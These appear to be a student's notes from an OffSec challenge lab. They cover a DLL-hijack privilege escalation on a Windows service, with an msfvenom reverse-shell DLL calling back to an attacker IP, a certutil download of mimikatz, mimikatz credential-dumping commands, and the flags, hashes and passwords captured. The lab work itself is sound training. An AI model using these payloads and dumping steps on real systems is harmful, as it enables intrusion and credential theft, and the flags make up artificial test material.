172.16.114.7 (INTRANET) /

Local Flag:
    C:\Users\michelle\Desktop\local.txt
    e93918567d1a06b5f2a0ecf3eea1f05c
    
Root Flag:
    C:\Users\Administrator\Desktop\proof.txt
    045ebc3421e2bd5d837e044dc3c7eaf0

Access Method

proxychains xfreerdp /u:michelle /p:NotMyPassword0k? /v:172.16.87.7 /kbd:0x0000040a +clipboard /cert:ignore /size:75% /drive:/home/kali/OffSec/ChallengeLabs/Challenge2_Relia/,SHARE

• While we can write to the directory, we cannot modify the existing files inside it

• Lets extract the scheduler.exe file and perform additional analysis on the WINPREP machine

• Running the file a couple of times, we can see that some .dll files are not found as we are starting up scheduler.exe

• Maybe we can place a malicious .dll file that has the same name to get an elevated shell?

• I dont see it in my attempt, but the .dll file that should show up as name not found should be beyondhelper.dll

msfvenom -p /windows/x64/shell_reverse_tcp LHOST=192.168.45.165 LPORT=8899 -f dll > shell.dll

• Make sure to rename the shell when we move it to the same directory as the scheduler.exe on .7

• We can see the service on the services app instead of using sc.exe here

• Use stop-service -force scheduler in powershell to stop the service after uploading the .dll file

• Restart the service and return to our listener, we should get an elevated shell

Admin Enumeration

Hash:    Administrator::INTRANET:1122334455667788:f7a1a60802cd33c4d927e6e8475631aa:01010000000000002843eba90370db0182f1e4771b9cff59000000000800300030000000000000000000000000300000183fe55c4cabe8aa74c1a65b64aa77ec1de56f96d7a3ebc667267c09d49c1a650a00100000000000000000000000000000000000090000000000000000000000

certutil -urlcache -split -f http://192.168.45.200/mimikatz.exe

mimikatz.exe "privilege::debug" "token::elevate" "log" "lsadump::sam" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"

Username: INTRANET\Administrator
NTLM Hash: 8b4547a5116dd13e6e206d1286a06b28

Username: RELIA\andrea
Password: PasswordPassword_6
NTLM Hash:ce3f12443651168b3793f5fbcccff9db